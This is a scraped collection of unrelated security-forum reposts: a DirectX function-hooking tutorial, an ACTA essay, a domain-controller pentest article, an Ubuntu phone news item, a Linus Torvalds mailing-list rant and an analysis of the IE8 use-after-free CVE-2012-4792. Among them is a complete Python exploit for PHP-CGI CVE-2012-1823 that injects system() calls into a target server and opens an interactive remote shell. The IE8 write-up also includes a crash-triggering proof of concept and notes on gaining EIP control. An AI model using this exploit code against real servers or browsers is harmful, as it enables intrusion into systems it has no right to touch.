this is the module we want... { CloseHandle(hSnap); // Free the handle. return (DWORD*)xModule.modBaseAddr; // return the base address. } } while (Module32Next(hSnap, &xModule)); // Loops through the rest of the modules. } CloseHandle(hSnap); // Free the handle. return 0; // If the result of the function is 0, it didn't find the base address. // i.e.. the dll isn't loaded. } Hooking the functions now is as straightforward as it was to hook CreateDevice earlier. Just as an example to get you going the hook code for EndScene would look like this: // hooks.h #include <d3d8.h> #include <d3dx8.h> //EndScene (offset : 35) typedef HRESULT (APIENTRY *EndScene_t)(IDirect3DDevice8*); HRESULT APIENTRY hook_EndScene(IDirect3DDevice8* pInterface); extern EndScene_t orig_EndScene; // hooks.cpp //Endscene EndScene_t orig_EndScene; HRESULT APIENTRY hook_EndScene(IDirect3DDevice8* pInterface) { __asm pushad // just a check D3DRECT rec = {0, 0, 20, 20}; pInterface->Clear(1, &rec, D3DCLEAR_TARGET, D3DCOLOR_XRGB(255, 0, 0), 0, 0); __asm popad return orig_EndScene(pInterface); } And viola, we have a working runtime hook I used text instead of the Clear but whatever Conclusion There is a slight issue with this code and that is the code injection. I dont know if those offsets will work with other installs of directx. I doubt it though :/ lol. One could probably redistribute the correct d3d8.dll with the hook or something . Il attach it and the final release build if any1 wants to test it on a dx8 game . Ive run it on warcraft and ut2004 (which used dx8??) and it worked both times . Writing this has really taken a while and raped my fingers but im glad I can finally share something. Ive learnt a lot doing this and I hope reading it has taught you something new as well Thanks to everyone who has helped me on this and who's code I have used or tutorials i have followed illuz1oN Bobbysing (Gamedeception) xXx (http://paste.lisp.or...splay/58743/raw) Uranium-239 Darawk Sheep COPYRIGHT: Please do not copy this without written permission from me, only link to it. Sursa: Run-time directx hooking using code injection and vtable - rohitab.com - Forums
-
PHP-CGI Argument Injection Remote Code Execution #!/usr/bin/python import requests import sys print """ CVE-2012-1823 PHP-CGI Arguement Injection Remote Code Execution This exploit abuses an arguement injection in the PHP-CGI wrapper to execute code as the PHP user/webserver user. Feel free to give me abuse about this <3 - infodox | insecurety.net | @info_dox """ if len(sys.argv) != 2: print "Usage: ./cve-2012-1823.py <target>" sys.exit(0) target = sys.argv[1] url = """http://""" + target + """/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input""" lol = """<?php system('""" lol2 = """');die(); ?>""" print "[+] Connecting and spawning a shell..." while True: try: bobcat = raw_input("%s:~$ " %(target)) lulz = lol + bobcat + lol2 hax = requests.post(url, lulz) print hax.text except KeyboardInterrupt: print "\n[-] Quitting" sys.exit(1) Sursa: PHP-CGI Argument Injection Remote Code Execution - CXSecurity WLB
-
Defend Your Freedoms Online: It's Political, Stupid! Description: DEFEND YOUR FREEDOMS ONLINE: IT'S POLITICAL, STUPID! A Positive agenda against the next ACTA, SOPA, and such Over the years we learned impressively how to oppose bad legislation hurting our freedoms online. We are now facing an even bigger challenge: how to guarantee that a Free, open, decentralized Internet will be protected in the long run? In 2012 The Internetz won major battles against SOPA/PIPA in the US, and against ACTA in the EU. Yet, we know that the powerful industries and governments behind these projects will never stop. They have an incentive to gain control of the Internet, attacking fundamental rights and promoting technologies like "Deep Packet Inspection", now being deployed in each and every corner of the Net, and used indifferently to break Net neutrality, to filter, block and censor communications or to inspect citizens traffic. How to push for proposals that will ensure that the sharing of knowledge and culture, citizens freedoms, and access to an open infrastructure will be guaranteed in the future public policies? How to become as successful in proposition as we are now in opposition? (Hint: it's political, stupid!) On Wednesday, July 4th 2012, The European Parliament rejected ACTA, the evil, dangerous and illegitimate copyright treaty, by a huge majority of 478 to 39. To all those who, for years, said it was impossible: we did it. Resonating in echo to victory against SOPA/PIPA in the US, this is a major victory for the multitude of connected citizens and organizations who worked hard for years, but also a great hope on a global scale for a better democracy. These victories are of huge symbolic and political value, and we're still beginning to comprehend fully its meaning. It is now our duty to shape its political consequences. All is in our hands. For years we have been witnessing the converging interests of political and industrial powers to attempt to get control of a Free Internet through various repressive measures (censorship, copyright enforcement, attacks against Net neutrality, etc.). We know that their attempts at attaining their financial or political objectives will never stop. And we must continue to combat them. Still, we learned over the years, by demonstrating what we advocate for, that we are capable of formulating clear alternative to each and every bad piece of legislation being proposed. From that effort is born a positive political agenda, aggregating all the proposals that were put forward by La Quadrature du Net and other activists while doing the opposition job. It is a political battle, in the ethymological sense of the word "politics": citizens caring about the affairs of the city, in that case: the Internets. All is on the table for each and every citizen to take part in a great effort for fostering the sharing of culture and knowledge, protecting Human Rights in the digital society and guaranteeing access to a Free and open Internet. Let's get things moving forward! Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Defend Your Freedoms Online: It's Political, Stupid!
-
Scanning Web Site With Vega Scanner On Backtrack 5 R2 Description: Vega is an open source platform to test the security of web applications. Vega can help you find and validate SQL Injections, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Scanning Web Site With Vega Scanner On Backtrack 5 R2
-
Pen Testing Domain Controllers Dejan Lukan January 02, 2013 Introduction When performing a penetration test, we’re constantly stumbling upon various servers that support domain logins into the customers network. We’re allowed to login if we know the username and password of an arbitrary account as well as the domain name. In this article we’ll take a closer look how a domain login is actually implemented and what is happening behind the curtains when we’re trying to authenticate to the domain. First, we must clarify some concepts to make the reader better understand the topic if he or she is not already familiar with it. First we must define a domain. A domain is basically a set of resources, like users, passwords, printers, etc that are managed by a domain controller. But why would we want to have a domain controller and a domain login to the system? It’s because we want to store users, groups and their permissions on the same server. The key benefit of this is the fact that any user that is in the system can login to the arbitrary machine in the network with the same username and password. In a Windows environment, all the information is stored in an Active Directory (AD). An AD domain controller authenticates and authorizes all users and computers in a Windows domain type network—assigning and enforcing security policies for all computers and installing or updating software. For example, when a user logs into a computer that is part of a Windows domain, Active Directory checks the submitted password and determines whether the user is a system administrator or normal user. Active Directory uses Lightweight Directory Access Protocol (LDAP), Kerberos and DNS [1]. A domain controller (DC) or network domain controller is a Windows-based computer system that is used for storing useraccount data in a central database. A domain controller in a computer network is the centrepiece of the Active Directory services that provides domain-wide services to the users, such as security policy enforcement, user authentication, and access to resources [2]. Domain controllers can greatly simplify the administration, since we can use it to grant ordeny access to resources in the network, such as printers, documents, and shared folders, with one single user account. By using the domain controller, a user can also get access to his personal resources like files on a Desktop from anywhere in the network; all he has to do is login with his existing user account. The limitation of a domain controller that uses Active Directory is that only the computers running the Windows operating system are capable of using it. This means that if the AD is in place, the computers running operating systems like Linux, HP-UX, and Solaris won’t be able to use the AD to authenticate. There is a solution, however. Instead of using the domain controller that uses Active Directory, we can now use Samba, which is open-source and not limited to Windows operating systems. Because of the limitation in the domain controllers that uses Active Directory, we’ll exclusively focus on the Samba domain controller in the sections that follow. Turnkey: Samba Windows PDC We can download an ISO image or an already functional vmdk virtual image from the Turnkey Linux Samba Domain Controller website. On the mentioned website, we can download a Samba-based Linux distribution that acts as domain controller. It supports netlogon, network attached storage for domain users, roaming profiles and PnP printing services and a web interface for configuring Samba and printing services [3]. I downloaded the provided vmdk virtual image, set-up it in Virtualbox and ran it. Upon booting, Linux will ask you for a root password as well as the AjaXplorer password. The AjaXplorer is just a web interface, which lets you access the files on your server directly from the web browser. We’re not here to discuss that—we want to know more about the Samba domain controller. Next, the system will ask us for a domain name, which we must fill out. We can see that on the picture below: We’ve entered the domain name mydomain into the input box, which will set the domain we would like to be using. After that we also need to provide a new password for the samba administrator user: Once we’re finished with the configuration of the PDC, we need to reboot it, which will start a fresh domain controller on our network. After that, we can SSH to the domain controller with the root username and the password we’ve set during the configuration process. Once logged-in, we can display a list of open ports that we can connect to. We can do that with the netstat command like this: # netstat -luntp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 960/lighttpd tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 980/sshd tcp 0 0 0.0.0.0:631 0.0.0.0:* LISTEN 929/cupsd tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 960/lighttpd tcp 0 0 0.0.0.0:12320 0.0.0.0:* LISTEN 869/shellinaboxd tcp 0 0 0.0.0.0:12321 0.0.0.0:* LISTEN 1027/perl tcp6 0 0 :::139 :: LISTEN 986/smbd tcp6 0 0 :::22 :: LISTEN 980/sshd tcp6 0 0 :::445 :: LISTEN 98 We’re connected through the SSH server, so we already know that port 22 is open. Additionally, the following ports are also open: 80 and 443 for web server, 631 for cups printing system, 12320 for shellinthebox server, 139 and 445 for windows shared folders and 12321 for Webmin. If we connect to the web server on either port 80 or 443, we’ll see the TurnKey domain controller web interface as we can see below: Depending on which icon we click, we’ll be redirected to the appropriate server running on the already mentioned open ports. Currently we’re interested in Samba, since we want to set-up a domain controller. When we click on the Samba icon on the picture above, we’ll be redirected to the Webmin web interface accessible on the port 12321 as we can see below: We need to login with the root username and password which was set during the configuration of the Turnkey Linux. Once we’re successfully authenticated, we’ll see a number of different settings that we can configure. We can see them on the picture below: To join a domain, we need to go to our Windows client operating system and right-click on the My Computer icon and selecting Properties. After that we need to press on the “Change” button in the “Computer Name” category, which will gives us the option to change the computer name as well as join the domain. That can be seen on the picture below: Once we click on the Change button, a new window will pop-up where we can actually change the computer name and join a domain. We can see that on the picture below where we specified domaintest as the new computer name and our previously configured domain mydomain. Once we have filled in the name of our computer and provided the domain in which we want to authenticate, we can press the OK button to save the settings. Another pop-up window will appear asking us for the username and password of the user configured in the domain. At this time, only the administrator user is configured, which has the password we’ve set-up in the configuration phase. Once we’ve provided the right username and password, the system will have to reboot. When we press the OK button, the system will restart and the changes will take effect. After the restart we’ll have the option to choose our specified domain to authenticate the user to as can be seen on the picture below: We again need to supply the right username administrator and the password to login to the system. Because we’re logging-in for the first time, the Windows operating system will initialize a new computer user by configuring the most basic settings like Internet Explorer and Desktop. A part of the configuration process can be seen on the picture below: Once the initialization is done, we’ll be logged into the system with our domain username and password. After that, we can open the command prompt and check whether we’re actually part of the domain. We can do that with the “net localgroup /domain” command, whose result can be seen on the picture below: We can see that an active domain controller was returned and is accessible with the PDC domain name. If we ping PDC, we’ll get appropriate IP resolution for the domain controller. We can get the same information by displaying the value of the LOGONSERVER variable like presented on the picture below: The result is the PDC domain, which resolves to the 10.1.1.124, but we can do this after we’re already logged in. Is there any way to figure out the address of domain controller when we’re not authenticated? We can also list all users in a domain with the use of the “net users /domain” command, which result is presented on the picture below: We can also port scan the domain controller to find out the open ports (remember that we already know that since we have access to the domain controller, but a hacker doesn’t). The output of the nmap port scanning tool can be seen below: # nmap 10.1.1.124 Starting Nmap 5.51 ( http://nmap.org ) Nmap scan report for 10.1.1.124 Host is up (0.0023s latency). Not shown: 994 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 631/tcp open ipp The NetBIOS Enumerator (nbtenum) program is then able to scan the network for interesting web services like SMB. When we start the nbtenum.exe program, we’ll be presented with the following window: We can see that we specified the nbtenum to scan the entire IP range from 10.1.1.1-255. It detected that the IP Address 10.1.1.106 (our Windows box joined to the domain controller) and the IP Address 10.1.1.124 (our domain controller) have information available. We can see that each IP address has a corresponding domain name. The IP address 10.1.1.106 has a domain name computer_1, while the domain controller 10.1.1.124 has a domain name pdc. We can also see that the domain controller has other services enabled. Conclusion We’ve seen that we can easily set-up a domain controller by using an already provided Turnkey Linux distribution to which we can authenticate from the Windows machines. We also got the default shared folder on the Linux Turnkey distribution for every user that authenticates to the domain controller. By using the domain controller, we can keep the user credentials in one place and provide our users with a default network drive where they can save their files that can be accessed from any other machine in the network (the hypothesis being that the user has previously authenticated against the domain controller successfully). Finally, we’ve also seen how we can discover the domain controller and perform basic scanning functions on the local network for SMB shares. References: [1]: Active Directory, accessible on Active Directory - Wikipedia, the free encyclopedia. [2]: What Is a Domain Controller & What Does it Do, accessible on Answering: What Is a Domain Controller & What Does it Do?. [3]: Domain Controller – Drop-in PDC replacement, accessible on http://www.turnkeylinux.org/domain-controller. Sursa: InfoSec Institute Resources – Pen Testing Domain Controllers
-
Da, acum l-am vazut si eu. Mi-au placut in special doua legaturi: 1. asemanarea cu persoanele care merg la razboi 2. asemanarea cu traficantii de droguri Si da, slide-ul asta trebuie citit: https://www.youtube.com/watch?feature=player_embedded&v=2KOnvI00NeQ#t=2393s Merita vazut, si daca nu aveti rabdare, puteti incepe de la minutul 18 pana pe la minutul 40.
-
[h=1]Ubuntu for Smartphones Announced – VIDEO[/h]January 2nd, 2013, 18:22 GMT · By Silviu Stahie Canonical is becoming one of the biggest players in today’s market and goes head to head with Apple and Google by launching Ubuntu for smartphones. We can’t really say it’s much of a surprise, but still, Ubuntu going to smartphones is one of the few directions left for Canonical. According to Canonical, Ubuntu uniquely gives handset OEMs and mobile operators the ability to converge phone, PC and thin client into a single enterprise superphone. "We expect Ubuntu to be popular in the enterprise market, enabling customers to provision a single secure device for all PC, thin client and phone functions. Ubuntu is already the most widely used Linux enterprise desktop, with customers in a wide range of sectors focused on security, cost and manageability" said Jane Silber, CEO of Canonical. Canonical is also targeting basic smartphones that are used just for their simple functions such as email, SMS and Web. Ubuntu for smartphones has a few features that will set it apart from the direct competition, Google and its Android OS. The interface will allow thumb gestures from all four edges of the screen, enabling uses to find content and switch between apps faster than other phones, voice and text commands in any application, it has HTML5 support, and users can personalize the art on the welcome screen. Canonical also offers some incentives for the potential Ubuntu phone buyers, such as a cloud service, Ubuntu One, providing storage and media services. The company also thinks that by offering a single family of products, for PC, TV and phones, it will greatly benefit the customer. "We are defining a new era of convergence in technology, with one unified operating system that underpins cloud computing, data centers, PCs and consumer electronics" says Mark Shuttleworth, founder of Ubuntu and VP Products at Canonical. The new QML-based Ubuntu SDK also insures that an application developed for Ubuntu will run both on PC and the phone. Ubuntu phones are not yet available for purchase, but Canonical is ready to work with partners and expects to ship the first models by the end of 2013. Sursa: Ubuntu for Smartphones Announced – VIDEO - Softpedia
-
[TABLE] [TR] [TD=class: lp]From[/TD] [TD=class: rp]Linus Torvalds <>[/TD] [/TR] [TR] [TD=class: lp]Date[/TD] [TD=class: rp]Sun, 23 Dec 2012 09:36:15 -0800[/TD] [/TR] [TR] [TD=class: lp]Subject[/TD] [TD=class: rp]Re: [Regression w/ patch] Media commit causes user space to misbahave (was: Re: Linux 3.8-rc1)[/TD] [/TR] [/TABLE] On Sun, Dec 23, 2012 at 6:08 AM, Mauro Carvalho Chehab <mchehab@redhat.com> wrote: > > Are you saying that pulseaudio is entering on some weird loop if the > returned value is not -EINVAL? That seems a bug at pulseaudio. Mauro, SHUT THE FUCK UP! It's a bug alright - in the kernel. How long have you been a maintainer? And you *still* haven't learnt the first rule of kernel maintenance? If a change results in user programs breaking, it's a bug in the kernel. We never EVER blame the user programs. How hard can this be to understand? To make matters worse, commit f0ed2ce840b3 is clearly total and utter CRAP even if it didn't break applications. ENOENT is not a valid error return from an ioctl. Never has been, never will be. ENOENT means "No such file and directory", and is for path operations. ioctl's are done on files that have already been opened, there's no way in hell that ENOENT would ever be valid. > So, on a first glance, this doesn't sound like a regression, > but, instead, it looks tha pulseaudio/tumbleweed has some serious > bugs and/or regressions. Shut up, Mauro. And I don't _ever_ want to hear that kind of obvious garbage and idiocy from a kernel maintainer again. Seriously. I'd wait for Rafael's patch to go through you, but I have another error report in my mailbox of all KDE media applications being broken by v3.8-rc1, and I bet it's the same kernel bug. And you've shown yourself to not be competent in this issue, so I'll apply it directly and immediately myself. WE DO NOT BREAK USERSPACE! Seriously. How hard is this rule to understand? We particularly don't break user space with TOTAL CRAP. I'm angry, because your whole email was so _horribly_ wrong, and the patch that broke things was so obviously crap. The whole patch is incredibly broken shit. It adds an insane error code (ENOENT), and then because it's so insane, it adds a few places to fix it up ("ret == -ENOENT ? -EINVAL : ret"). The fact that you then try to make *excuses* for breaking user space, and blaming some external program that *used* to work, is just shameful. It's not how we work. Fix your f*cking "compliance tool", because it is obviously broken. And fix your approach to kernel programming. Linus Sursa: https://lkml.org/lkml/2012/12/23/75
-
Happy New Year Analysis of CVE-2012-4792 A new year has arrived and, although a little late, the time has come for me to unpack the present that Santa gave to the Council on Foreign Relations this Christmas. Quite a few blogs have already been written in this issue that has gotten CVE-2012-4792, including one by Microsoft, but that didnt stop me from doing my own analysis. I tried to document all the steps I took and write down how I came to my conclusions so readers can follow and maybe repeat this process. All my work has been done on IE8 running on Windows XP, but most of it also applies to Window 7 with the exception of ASLR issues. The mshtml version I worked with is 8.0.6001.19393 Analysis Exploitation Conclusion Analysis The first thing I did was grab the Metasploit version of the exploit and remove all heapspay and other items to get a clean poc. This resulted in the following html data. <!doctype html> <html> <head> <script> function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); var eip = window; var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; eip.location = unescape("AA" + data); } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html> The next step was to turn on pageheap and user stack trace for internet explorer and just run the poc and see what happened. This resulted in the following windbg log: (a0.3c0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=05682fa8 ebx=04db8f28 ecx=00000052 edx=00000000 esi=00000000 edi=05682fa8 eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x4ef: 3d08625c 8b07 mov eax,dword ptr [edi] ds:0023:05682fa8=???????? 1:022> !heap -p -a edi address 05682fa8 found in _DPH_HEAP_ROOT @ 151000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 5640eb0: 5682000 2000 7c91a1ba ntdll!RtlFreeHeap+0x000000f9 3d2b4b10 mshtml!CButton::`vector deleting destructor'+0x0000002f 3cfa0ad9 mshtml!CBase::SubRelease+0x00000022 3cf7e76d mshtml!CElement::PrivateRelease+0x00000029 3cf7a976 mshtml!PlainRelease+0x00000025 3cf9709c mshtml!PlainTrackerRelease+0x00000014 3d7b5194 jscript!VAR::Clear+0x0000005c 3d7b55b9 jscript!GcContext::Reclaim+0x000000ab 3d7b4d08 jscript!GcContext::CollectCore+0x00000113 3d82471d jscript!JsCollectGarbage+0x0000001d 3d7c4aac jscript!NameTbl::InvokeInternal+0x00000137 3d7c28c5 jscript!VAR::InvokeByDispID+0x0000017c 3d7c4f93 jscript!CScriptRuntime::Run+0x00002abe 3d7c13ab jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff 3d7c12e5 jscript!ScrFncObj::Call+0x0000008f 3d7c1113 jscript!CSession::Execute+0x00000175 1:022> kv ChildEBP RetAddr Args to Child 0336d80c 3cee3e45 04f38fc0 04df06bc 04df06a8 mshtml!CMarkup::OnLoadStatusDone+0x4ef 0336d82c 3cee3e21 00000004 0336dcb4 00000001 mshtml!CMarkup::OnLoadStatus+0x47 0336dc78 3cf50aef 04f3af48 00000000 00000000 mshtml!CProgSink::DoUpdate+0x52f 0336dc8c 3cf8a7e9 04f3af48 04f3af48 04d9cd58 mshtml!CProgSink::OnMethodCall+0x12 0336dcc0 3cf75488 0336dd48 3cf753da 00000000 mshtml!GlobalWndOnMethodCall+0xfb 0336dce0 7e418734 0007025e 00000009 00000000 mshtml!GlobalWndProc+0x183 0336dd0c 7e418816 3cf753da 0007025e 00008002 USER32!InternalCallWinProc+0x28 0336dd74 7e4189cd 00000000 3cf753da 0007025e USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo]) 0336ddd4 7e418a10 0336de08 00000000 0336feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo]) 0336dde4 3e2ec1d5 0336de08 00000000 01f9cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo]) 0336feec 3e2932ee 030ecfe0 01000002 03070ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo]) 0336ffa4 3e136f69 01f9cf58 0015476c 0336ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo]) 0336ffb4 7c80b729 03070ff0 01000002 0015476c iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo]) 0336ffec 00000000 3e136f5b 03070ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo]) Just from this initial run we can already draw some conclusions. The freed object was a CButton object, as can be deducted from the stack trace of the freed memory “mshtml!CButton::`vector deleting destructor’”. And the reuse of the freed memory seem to occur when the onload handler is completely finished: mshtml!CMarkup::OnLoadStatusDone+0x4ef. When we look back at the HTML code some of it makes sense e1.appendChild(document.createElement('button')); This is most likely the code that created the object that is freed later on. Let see if we can find out at what point the object is being freed and when it is being reused. For that we change the javascript to include some log messages that we can use to determine when things are happening. We will also add 2 breakpoints the keep track of the creation and deletion of CButton objects. Creating a CButton object will go through “CButton::CreateElement“. If we set a breakpoint just after the call to HeapAlloc we know the address of the CButton that has been created. We already know the function responsible for deleting a CButton object and we will set a breakpoint there as well. By adding javascript log messages between all the call we can easily keep track of the progress of the poc while it runs. <!doctype html> <html> <head> <script> function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { Math.atan2(0xbadc0de, "before get element a") e0 = document.getElementById("a"); Math.atan2(0xbadc0de, "before get element b") e1 = document.getElementById("b"); Math.atan2(0xbadc0de, "before create element q") e2 = document.createElement("q"); Math.atan2(0xbadc0de, "before apply element e1( -> e2(q)") e1.applyElement(e2); Math.atan2(0xbadc0de, "before appendChild create element button") e1.appendChild(document.createElement('button')); Math.atan2(0xbadc0de, "before applyElement e1 -> e0") e1.applyElement(e0); Math.atan2(0xbadc0de, "before e2 outertext") e2.outerText = ""; Math.atan2(0xbadc0de, "before e2 appendChild createElement body") e2.appendChild(document.createElement('body')); Math.atan2(0xbadc0de, "All done inside try loop") } catch(e) { } Math.atan2(0xbadc0de, "collecting garbage") CollectGarbage(); Math.atan2(0xbadc0de, "Done collecting garbage") } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html> We now run the poc again. 0:000> sxe ld:jscript 0:000> g ModLoad: 3d7a0000 3d854000 C:\WINDOWS\system32\jscript.dll eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000 eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!KiFastSystemCallRet: 7c90e514 c3 ret 1:025> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g" 1:025> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g" 1:025> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", eax;.echo;g" 1:025> bl 0 e 3d7d8f09 0001 (0001) 1:**** jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g" 1 e 3d2b4c27 0001 (0001) 1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g" 2 e 3d2b4ae1 0001 (0001) 1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", eax;.echo;g" 1:025> g before get element a before get element b before create element q before apply element e1( -> e2(q) before appendChild create element button Created CButton at 05312fa8 before applyElement e1 -> e0 before e2 outertext before e2 appendChild createElement body All done inside try loop collecting garbage Deleting CButton at 3cf70d10 Done collecting garbage (870.bcc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=05312fa8 ebx=04dcef28 ecx=00000052 edx=00000000 esi=00000000 edi=05312fa8 eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x4ef: 3d08625c 8b07 mov eax,dword ptr [edi] ds:0023:05312fa8=???????? We break when jscript.dll is loaded (sxe ld:jscript) and then set the breakpoints to print out the log messages and CButton creation and deletions. The CButton object is deleted during the call to CollectGarbage but is not reused until after that call is finished. So we can easily take control over the freed objects memory by creating some data of the right size, but more about that later. The next step is trying to figure out why this use-after-free is actually happening. Microsoft already gave us some hints on the root cause of the issue with their blog post. Lets go back to the crash and see where edi (pointing to the freed memory) comes from. Apparently the CElement::FindDefaultElem function returns the CButton element after it already has been freed. This is the function that Microsoft patched out with their Fix it Shim so we are on the right track. This function is called a few times before the process crashes so to make our life easier we wont break on this function but rather on the call to this function in the CMarkup::OnLoadStatusDone function. As a side note: it is also clear that it is realy easy to get EIP control through this freed object since we straight up grab the vftable from the freed object (mov eax, [edi]) and then call a function (call dword ptr [eax+0DCh]) from the vftable. Anyway, here is the windbg log with breakpoints at CButton create and delete so we know what the address of the CButton object was and a breakpoint in the CMarkup::OnLoadStatusDone function before the call to CElement::FindDefaultElem. 0:000> sxe ld:mshtml 0:000> g ModLoad: 3cea0000 3d45e000 C:\WINDOWS\system32\mshtml.dll 1:025> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g" 1:025> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g" 1:025> bp !mshtml + 0x44224 1:025> bl 0 e 3d2b4c27 0001 (0001) 1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g" 1 e 3d2b4ae1 0001 (0001) 1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g" 2 e 3cee4224 0001 (0001) 1:**** mshtml!CMarkup::OnLoadStatusDone+0x4dc 1:025> g Created CButton at 055eefa8 Deleting CButton at 055eefa8 Breakpoint 2 hit 3cee4224 e80bc30100 call mshtml!CElement::FindDefaultElem (3cf00534) 1:025> t <snip> 3cf00585 56 push esi 3cf00586 8bc3 mov eax,ebx 3cf00588 e84aa20400 call mshtml!CElement::GetParentForm (3cf4a7d7) 1:025> eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8 eip=3cf0058d esp=0336d780 ebp=0336d78c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CElement::FindDefaultElem+0x51: 3cf0058d 8bf0 mov esi,eax 3cf0058f 3bf2 cmp esi,edx 3cf00591 0f857e4d1a00 jne mshtml!CElement::FindDefaultElem+0x57 (3d0a5315) [br=0] 1:025> 3cf00597 395510 cmp dword ptr [ebp+10h],edx ss:0023:0336d79c=00000000 3cf0059a 0f8569a71f00 jne mshtml!CElement::FindDefaultElem+0x79 (3d0fad09) [br=0] 1:025> eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8 eip=3cf005a0 esp=0336d780 ebp=0336d78c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CElement::FindDefaultElem+0x96: 3cf005a0 8b87a8010000 mov eax,dword ptr [edi+1A8h] ds:0023:04c1a850=055eefa8 1:025> dc 04c1a6a8 04c1a6a8 3cfa4f78 00000014 000000b8 00000000 xO.<............ 04c1a6b8 00000000 3cf46c50 04c1a6a8 021e1b8c ....Pl. dds 04c1a6a8 L1 04c1a6a8 3cfa4f78 mshtml!CDoc::`vftable' 1:025> !heap -p -a 04c1a6a8 address 04c1a6a8 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 44cad98: 4c1a6a8 954 - 4c1a000 2000 mshtml!CDoc::`vftable' 7c919c0c ntdll!RtlAllocateHeap+0x00000e64 3ceb29f0 mshtml!CDoc::operator new+0x00000013 3cebd2e8 mshtml!CBaseCF::CreateInstance+0x0000007b 3e284da3 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000005f 3e284d44 IEFRAME!CBaseBrowser2::_ExecExplorer+0x00000073 3e2eca2e IEFRAME!CBaseBrowser2::Exec+0x0000012d 3e2ecec8 IEFRAME!CShellBrowser2::_Exec_CCommonBrowser+0x00000080 3e2ecef7 IEFRAME!CShellBrowser2::Exec+0x00000626 3e284b53 IEFRAME!CDocObjectHost::_CoCreateHTMLDocument+0x0000004e 3e284ae7 IEFRAME!CDocObjectHost::_CreatePendingDocObject+0x0000002c 3e28320a IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessCLASSIDBindStatus+0x000000c5 3e283d17 IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessSecurityBindStatus+0x000000b2 3e282d1d IEFRAME!CDocObjectHost::CDOHBindStatusCallback::OnProgress+0x000000a5 781362f7 urlmon!CBSCHolder::OnProgress+0x0000003c 78136247 urlmon!CBinding::CallOnProgress+0x00000030 7816180b urlmon!CBinding::InstantiateObject+0x000000b7 1:025> p 3cf005a6 5e pop esi 3cf005a7 5f pop edi 3cf005a8 5b pop ebx 3cf005a9 5d pop ebp 3cf005aa c20c00 ret 0Ch The log has been edited to make it a little bit more readable, but what we gain from this is that our CButton object is still referenced in a CDoc element. The next step is to run the poc again (yes, we’ll be doing this a lot) and see why and when the reference is planted there. For this we will break on the 